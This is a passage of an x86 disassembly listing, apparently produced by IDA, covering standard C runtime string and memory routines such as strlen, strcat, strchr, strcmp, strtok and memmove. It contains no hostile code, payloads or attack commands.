sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 26607A7h test eax, eax jnz short loc_41BDF2 call near ptr 2660DCFh nop jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 